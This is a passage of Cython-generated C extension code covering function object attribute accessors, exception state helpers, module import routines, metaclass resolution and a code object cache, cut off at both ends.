!PyString_Check(value))) #endif { PyErr_SetString(PyExc_TypeError, "__qualname__ must be set to a string object"); return -1; } tmp = op->func_qualname; Py_INCREF(value); op->func_qualname = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_self(__pyx_CyFunctionObject *m, CYTHON_UNUSED void *closure) { PyObject *self; self = m->func_closure; if (self == NULL) self = Py_None; Py_INCREF(self); return self; } static PyObject * __Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *context) { if (unlikely(op->func_dict == NULL)) { op->func_dict = PyDict_New(); if (unlikely(op->func_dict == NULL)) return NULL; } Py_INCREF(op->func_dict); return op->func_dict; } static int __Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value, CYTHON_UNUSED void *context) { PyObject *tmp; if (unlikely(value == NULL)) { PyErr_SetString(PyExc_TypeError, "function's dictionary may not be deleted"); return -1; } if (unlikely(!PyDict_Check(value))) { PyErr_SetString(PyExc_TypeError, "setting function's dictionary to a non-dict"); return -1; } tmp = op->func_dict; Py_INCREF(value); op->func_dict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *context) { Py_INCREF(op->func_globals); return op->func_globals; } static PyObject * __Pyx_CyFunction_get_closure(CYTHON_UNUSED __pyx_CyFunctionObject *op, CYTHON_UNUSED void *context) { Py_INCREF(Py_None); return Py_None; } static PyObject * __Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *context) { PyObject* result = (op->func_code) ? op->func_code : Py_None; Py_INCREF(result); return result; } static int __Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { int result = 0; PyObject *res = op->defaults_getter((PyObject *) op); if (unlikely(!res)) return -1; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS op->defaults_tuple = PyTuple_GET_ITEM(res, 0); Py_INCREF(op->defaults_tuple); op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); Py_INCREF(op->defaults_kwdict); #else op->defaults_tuple = PySequence_ITEM(res, 0); if (unlikely(!op->defaults_tuple)) result = -1; else { op->defaults_kwdict = PySequence_ITEM(res, 1); if (unlikely(!op->defaults_kwdict)) result = -1; } #endif Py_DECREF(res); return result; } static int __Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value, CYTHON_UNUSED void *context) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyTuple_Check(value)) { PyErr_SetString(PyExc_TypeError, "__defaults__ must be set to a tuple object"); return -1; } Py_INCREF(value); tmp = op->defaults_tuple; op->defaults_tuple = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *context) { PyObject* result = op->defaults_tuple; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_tuple; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value, CYTHON_UNUSED void *context) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__kwdefaults__ must be set to a dict object"); return -1; } Py_INCREF(value); tmp = op->defaults_kwdict; op->defaults_kwdict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *context) { PyObject* result = op->defaults_kwdict; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_kwdict; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value, CYTHON_UNUSED void *context) { PyObject* tmp; if (!value || value == Py_None) { value = NULL; } else if (!PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__annotations__ must be set to a dict object"); return -1; } Py_XINCREF(value); tmp = op->func_annotations; op->func_annotations = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *context) { PyObject* result = op->func_annotations; if (unlikely(!result)) { result = PyDict_New(); if (unlikely(!result)) return NULL; op->func_annotations = result; } Py_INCREF(result); return result; } static PyGetSetDef __pyx_CyFunction_getsets[] = { {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, {(char *) "__self__", (getter)__Pyx_CyFunction_get_self, 0, 0, 0}, {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, {0, 0, 0, 0, 0} }; static PyMemberDef __pyx_CyFunction_members[] = { {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), PY_WRITE_RESTRICTED, 0}, {0, 0, 0, 0, 0} }; static PyObject * __Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, CYTHON_UNUSED PyObject *args) { #if PY_MAJOR_VERSION >= 3 Py_INCREF(m->func_qualname); return m->func_qualname; #else return PyString_FromString(m->func.m_ml->ml_name); #endif } static PyMethodDef __pyx_CyFunction_methods[] = { {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, {0, 0, 0, 0} }; #if PY_VERSION_HEX < 0x030500A0 #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) #else #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func.m_weakreflist) #endif static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject *op, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { if (unlikely(op == NULL)) return NULL; op->flags = flags; __Pyx_CyFunction_weakreflist(op) = NULL; op->func.m_ml = ml; op->func.m_self = (PyObject *) op; Py_XINCREF(closure); op->func_closure = closure; Py_XINCREF(module); op->func.m_module = module; op->func_dict = NULL; op->func_name = NULL; Py_INCREF(qualname); op->func_qualname = qualname; op->func_doc = NULL; op->func_classobj = NULL; op->func_globals = globals; Py_INCREF(op->func_globals); Py_XINCREF(code); op->func_code = code; op->defaults_pyobjects = 0; op->defaults_size = 0; op->defaults = NULL; op->defaults_tuple = NULL; op->defaults_kwdict = NULL; op->defaults_getter = NULL; op->func_annotations = NULL; return (PyObject *) op; } static int __Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) { Py_CLEAR(m->func_closure); Py_CLEAR(m->func.m_module); Py_CLEAR(m->func_dict); Py_CLEAR(m->func_name); Py_CLEAR(m->func_qualname); Py_CLEAR(m->func_doc); Py_CLEAR(m->func_globals); Py_CLEAR(m->func_code); Py_CLEAR(m->func_classobj); Py_CLEAR(m->defaults_tuple); Py_CLEAR(m->defaults_kwdict); Py_CLEAR(m->func_annotations); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_XDECREF(pydefaults[i]); PyObject_Free(m->defaults); m->defaults = NULL; } return 0; } static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) { if (__Pyx_CyFunction_weakreflist(m) != NULL) PyObject_ClearWeakRefs((PyObject *) m); __Pyx_CyFunction_clear(m); PyObject_GC_Del(m); } static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) { PyObject_GC_UnTrack(m); __Pyx__CyFunction_dealloc(m); } static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) { Py_VISIT(m->func_closure); Py_VISIT(m->func.m_module); Py_VISIT(m->func_dict); Py_VISIT(m->func_name); Py_VISIT(m->func_qualname); Py_VISIT(m->func_doc); Py_VISIT(m->func_globals); Py_VISIT(m->func_code); Py_VISIT(m->func_classobj); Py_VISIT(m->defaults_tuple); Py_VISIT(m->defaults_kwdict); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_VISIT(pydefaults[i]); } return 0; } static PyObject *__Pyx_CyFunction_descr_get(PyObject *func, PyObject *obj, PyObject *type) { #if PY_MAJOR_VERSION < 3 __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; if (m->flags & __Pyx_CYFUNCTION_STATICMETHOD) { Py_INCREF(func); return func; } if (m->flags & __Pyx_CYFUNCTION_CLASSMETHOD) { if (type == NULL) type = (PyObject *)(Py_TYPE(obj)); return __Pyx_PyMethod_New(func, type, (PyObject *)(Py_TYPE(type))); } if (obj == Py_None) obj = NULL; #endif return __Pyx_PyMethod_New(func, obj, type); } static PyObject* __Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromFormat("<cyfunction %U at %p>", op->func_qualname, (void *)op); #else return PyString_FromFormat("<cyfunction %s at %p>", PyString_AsString(op->func_qualname), (void *)op); #endif } static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { PyCFunctionObject* f = (PyCFunctionObject*)func; PyCFunction meth = f->m_ml->ml_meth; Py_ssize_t size; switch (f->m_ml->ml_flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { case METH_VARARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) return (*meth)(self, arg); break; case METH_VARARGS | METH_KEYWORDS: return (*(PyCFunctionWithKeywords)(void*)meth)(self, arg, kw); case METH_NOARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 0)) return (*meth)(self, NULL); PyErr_Format(PyExc_TypeError, "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; case METH_O: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 1)) { PyObject *result, *arg0; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS arg0 = PyTuple_GET_ITEM(arg, 0); #else arg0 = PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; #endif result = (*meth)(self, arg0); #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) Py_DECREF(arg0); #endif return result; } PyErr_Format(PyExc_TypeError, "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; default: PyErr_SetString(PyExc_SystemError, "Bad call flags in " "__Pyx_CyFunction_Call. METH_OLDARGS is no " "longer supported!"); return NULL; } PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", f->m_ml->ml_name); return NULL; } static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { return __Pyx_CyFunction_CallMethod(func, ((PyCFunctionObject*)func)->m_self, arg, kw); } static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { PyObject *result; __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { Py_ssize_t argc; PyObject *new_args; PyObject *self; argc = PyTuple_GET_SIZE(args); new_args = PyTuple_GetSlice(args, 1, argc); if (unlikely(!new_args)) return NULL; self = PyTuple_GetItem(args, 0); if (unlikely(!self)) { Py_DECREF(new_args); return NULL; } result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); Py_DECREF(new_args); } else { result = __Pyx_CyFunction_Call(func, args, kw); } return result; } static PyTypeObject __pyx_CyFunctionType_type = { PyVarObject_HEAD_INIT(0, 0) "cython_function_or_method", sizeof(__pyx_CyFunctionObject), 0, (destructor) __Pyx_CyFunction_dealloc, 0, 0, 0, #if PY_MAJOR_VERSION < 3 0, #else 0, #endif (reprfunc) __Pyx_CyFunction_repr, 0, 0, 0, 0, __Pyx_CyFunction_CallAsMethod, 0, 0, 0, 0, Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, 0, (traverseproc) __Pyx_CyFunction_traverse, (inquiry) __Pyx_CyFunction_clear, 0, #if PY_VERSION_HEX < 0x030500A0 offsetof(__pyx_CyFunctionObject, func_weakreflist), #else offsetof(PyCFunctionObject, m_weakreflist), #endif 0, 0, __pyx_CyFunction_methods, __pyx_CyFunction_members, __pyx_CyFunction_getsets, 0, 0, __Pyx_CyFunction_descr_get, 0, offsetof(__pyx_CyFunctionObject, func_dict), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, #if PY_VERSION_HEX >= 0x030400a1 0, #endif #if PY_VERSION_HEX >= 0x030800b1 0, #endif #if PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000 0, #endif }; static int __pyx_CyFunction_init(void) { __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); if (unlikely(__pyx_CyFunctionType == NULL)) { return -1; } return 0; } static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults = PyObject_Malloc(size); if (unlikely(!m->defaults)) return PyErr_NoMemory(); memset(m->defaults, 0, size); m->defaults_pyobjects = pyobjects; m->defaults_size = size; return m->defaults; } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_tuple = tuple; Py_INCREF(tuple); } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_kwdict = dict; Py_INCREF(dict); } static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->func_annotations = dict; Py_INCREF(dict); } /* CythonFunction */ static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { PyObject *op = __Pyx_CyFunction_Init( PyObject_GC_New(__pyx_CyFunctionObject, __pyx_CyFunctionType), ml, flags, qualname, closure, module, globals, code ); if (likely(op)) { PyObject_GC_Track(op); } return op; } /* GetTopmostException */ #if CYTHON_USE_EXC_INFO_STACK static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate) { _PyErr_StackItem *exc_info = tstate->exc_info; while ((exc_info->exc_type == NULL || exc_info->exc_type == Py_None) && exc_info->previous_item != NULL) { exc_info = exc_info->previous_item; } return exc_info; } #endif /* SaveResetException */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { #if CYTHON_USE_EXC_INFO_STACK _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); *type = exc_info->exc_type; *value = exc_info->exc_value; *tb = exc_info->exc_traceback; #else *type = tstate->exc_type; *value = tstate->exc_value; *tb = tstate->exc_traceback; #endif Py_XINCREF(*type); Py_XINCREF(*value); Py_XINCREF(*tb); } static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; #if CYTHON_USE_EXC_INFO_STACK _PyErr_StackItem *exc_info = tstate->exc_info; tmp_type = exc_info->exc_type; tmp_value = exc_info->exc_value; tmp_tb = exc_info->exc_traceback; exc_info->exc_type = type; exc_info->exc_value = value; exc_info->exc_traceback = tb; #else tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = type; tstate->exc_value = value; tstate->exc_traceback = tb; #endif Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); } #endif /* GetException */ #if CYTHON_FAST_THREAD_STATE static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) #else static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) #endif { PyObject *local_type, *local_value, *local_tb; #if CYTHON_FAST_THREAD_STATE PyObject *tmp_type, *tmp_value, *tmp_tb; local_type = tstate->curexc_type; local_value = tstate->curexc_value; local_tb = tstate->curexc_traceback; tstate->curexc_type = 0; tstate->curexc_value = 0; tstate->curexc_traceback = 0; #else PyErr_Fetch(&local_type, &local_value, &local_tb); #endif PyErr_NormalizeException(&local_type, &local_value, &local_tb); #if CYTHON_FAST_THREAD_STATE if (unlikely(tstate->curexc_type)) #else if (unlikely(PyErr_Occurred())) #endif goto bad; #if PY_MAJOR_VERSION >= 3 if (local_tb) { if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) goto bad; } #endif Py_XINCREF(local_tb); Py_XINCREF(local_type); Py_XINCREF(local_value); *type = local_type; *value = local_value; *tb = local_tb; #if CYTHON_FAST_THREAD_STATE #if CYTHON_USE_EXC_INFO_STACK { _PyErr_StackItem *exc_info = tstate->exc_info; tmp_type = exc_info->exc_type; tmp_value = exc_info->exc_value; tmp_tb = exc_info->exc_traceback; exc_info->exc_type = local_type; exc_info->exc_value = local_value; exc_info->exc_traceback = local_tb; } #else tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = local_type; tstate->exc_value = local_value; tstate->exc_traceback = local_tb; #endif Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); #else PyErr_SetExcInfo(local_type, local_value, local_tb); #endif return 0; bad: *type = 0; *value = 0; *tb = 0; Py_XDECREF(local_type); Py_XDECREF(local_value); Py_XDECREF(local_tb); return -1; } /* PyErrFetchRestore */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; tmp_type = tstate->curexc_type; tmp_value = tstate->curexc_value; tmp_tb = tstate->curexc_traceback; tstate->curexc_type = type; tstate->curexc_value = value; tstate->curexc_traceback = tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); } static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { *type = tstate->curexc_type; *value = tstate->curexc_value; *tb = tstate->curexc_traceback; tstate->curexc_type = 0; tstate->curexc_value = 0; tstate->curexc_traceback = 0; } #endif /* PyObject_GenericGetAttrNoDict */ #if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 static PyObject *__Pyx_RaiseGenericGetAttributeError(PyTypeObject *tp, PyObject *attr_name) { PyErr_Format(PyExc_AttributeError, #if PY_MAJOR_VERSION >= 3 "'%.50s' object has no attribute '%U'", tp->tp_name, attr_name); #else "'%.50s' object has no attribute '%.400s'", tp->tp_name, PyString_AS_STRING(attr_name)); #endif return NULL; } static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name) { PyObject *descr; PyTypeObject *tp = Py_TYPE(obj); if (unlikely(!PyString_Check(attr_name))) { return PyObject_GenericGetAttr(obj, attr_name); } assert(!tp->tp_dictoffset); descr = _PyType_Lookup(tp, attr_name); if (unlikely(!descr)) { return __Pyx_RaiseGenericGetAttributeError(tp, attr_name); } Py_INCREF(descr); #if PY_MAJOR_VERSION < 3 if (likely(PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_HAVE_CLASS))) #endif { descrgetfunc f = Py_TYPE(descr)->tp_descr_get; if (unlikely(f)) { PyObject *res = f(descr, obj, (PyObject *)tp); Py_DECREF(descr); return res; } } return descr; } #endif /* Import */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { PyObject *empty_list = 0; PyObject *module = 0; PyObject *global_dict = 0; PyObject *empty_dict = 0; PyObject *list; #if PY_MAJOR_VERSION < 3 PyObject *py_import; py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); if (!py_import) goto bad; #endif if (from_list) list = from_list; else { empty_list = PyList_New(0); if (!empty_list) goto bad; list = empty_list; } global_dict = PyModule_GetDict(__pyx_m); if (!global_dict) goto bad; empty_dict = PyDict_New(); if (!empty_dict) goto bad; { #if PY_MAJOR_VERSION >= 3 if (level == -1) { if ((1) && (strchr(__Pyx_MODULE_NAME, '.'))) { module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, 1); if (!module) { if (!PyErr_ExceptionMatches(PyExc_ImportError)) goto bad; PyErr_Clear(); } } level = 0; } #endif if (!module) { #if PY_MAJOR_VERSION < 3 PyObject *py_level = PyInt_FromLong(level); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, (PyObject *)NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, level); #endif } } bad: #if PY_MAJOR_VERSION < 3 Py_XDECREF(py_import); #endif Py_XDECREF(empty_list); Py_XDECREF(empty_dict); return module; } /* ImportFrom */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { PyErr_Format(PyExc_ImportError, #if PY_MAJOR_VERSION < 3 "cannot import name %.230s", PyString_AS_STRING(name)); #else "cannot import name %S", name); #endif } return value; } /* CalculateMetaclass */ static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { Py_ssize_t i, nbases = PyTuple_GET_SIZE(bases); for (i=0; i < nbases; i++) { PyTypeObject *tmptype; PyObject *tmp = PyTuple_GET_ITEM(bases, i); tmptype = Py_TYPE(tmp); #if PY_MAJOR_VERSION < 3 if (tmptype == &PyClass_Type) continue; #endif if (!metaclass) { metaclass = tmptype; continue; } if (PyType_IsSubtype(metaclass, tmptype)) continue; if (PyType_IsSubtype(tmptype, metaclass)) { metaclass = tmptype; continue; } PyErr_SetString(PyExc_TypeError, "metaclass conflict: " "the metaclass of a derived class " "must be a (non-strict) subclass " "of the metaclasses of all its bases"); return NULL; } if (!metaclass) { #if PY_MAJOR_VERSION < 3 metaclass = &PyClass_Type; #else metaclass = &PyType_Type; #endif } Py_INCREF((PyObject*) metaclass); return (PyObject*) metaclass; } /* Py3ClassCreate */ static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { PyObject *ns; if (metaclass) { PyObject *prep = __Pyx_PyObject_GetAttrStr(metaclass, __pyx_n_s_prepare); if (prep) { PyObject *pargs = PyTuple_Pack(2, name, bases); if (unlikely(!pargs)) { Py_DECREF(prep); return NULL; } ns = PyObject_Call(prep, pargs, mkw); Py_DECREF(prep); Py_DECREF(pargs); } else { if (unlikely(!PyErr_ExceptionMatches(PyExc_AttributeError))) return NULL; PyErr_Clear(); ns = PyDict_New(); } } else { ns = PyDict_New(); } if (unlikely(!ns)) return NULL; if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; return ns; bad: Py_DECREF(ns); return NULL; } static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass) { PyObject *result, *margs; PyObject *owned_metaclass = NULL; if (allow_py2_metaclass) { owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); if (owned_metaclass) { metaclass = owned_metaclass; } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { PyErr_Clear(); } else { return NULL; } } if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); Py_XDECREF(owned_metaclass); if (unlikely(!metaclass)) return NULL; owned_metaclass = metaclass; } margs = PyTuple_Pack(3, name, bases, dict); if (unlikely(!margs)) { result = NULL; } else { result = PyObject_Call(metaclass, margs, mkw); Py_DECREF(margs); } Py_XDECREF(owned_metaclass); return result; } /* CLineInTraceback */ #ifndef CYTHON_CLINE_IN_TRACEBACK static int __Pyx_CLineForTraceback(CYTHON_NCP_UNUSED PyThreadState *tstate, int c_line) { PyObject *use_cline; PyObject *ptype, *pvalue, *ptraceback; #if CYTHON_COMPILING_IN_CPYTHON PyObject **cython_runtime_dict; #endif if (unlikely(!__pyx_cython_runtime)) { return c_line; } __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); #if CYTHON_COMPILING_IN_CPYTHON cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); if (likely(cython_runtime_dict)) { __PYX_PY_DICT_LOOKUP_IF_MODIFIED( use_cline, *cython_runtime_dict, __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback)) } else #endif { PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); if (use_cline_obj) { use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; Py_DECREF(use_cline_obj); } else { PyErr_Clear(); use_cline = NULL; } } if (!use_cline) { c_line = 0; PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); } else if (use_cline == Py_False || (use_cline != Py_True && PyObject_Not(use_cline) != 0)) { c_line = 0; } __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); return c_line; } #endif /* CodeObjectCache */ static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { int start = 0, mid = 0, end = count - 1; if (end >= 0 && code_line > entries[end].code_line) { return count; } while (start < end) { mid = start + (end - start) / 2; if (code_line < entries[mid].code_line) { end = mid; } else if (code_line > entries[mid].code_line) { start = mid + 1; } else { return mid; } } if (code_line <= entries[mid].code_line) { return mid; } else { return mid + 1; } } static PyCodeObject *__pyx_find_code_object(int code_line) { PyCodeObject* code_object; int pos; if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { return NULL; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { return NULL; } code_object = __pyx_code_cache.entries[pos].code_object; Py_INCREF(code_object); return code_object; } static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { int pos, i; __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; if (unlikely(!code_line)) { return; } if (unlikely(!entries)) { entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); if (likely(entries)) { __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = 64; __pyx_code_cache.count = 1; entries[0].code_line = code_line; entries[0].code_object = code_object; Py_INCREF(code_object); } return; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { PyCodeObject* tmp = entries[pos].code_object; entries[pos].code_object = code_object; Py_DECREF(tmp); return; } if (__pyx_code_cache.count == __pyx_code_cache.max_count) { int new_max = __pyx_code_cache.max_count + 64; entries = 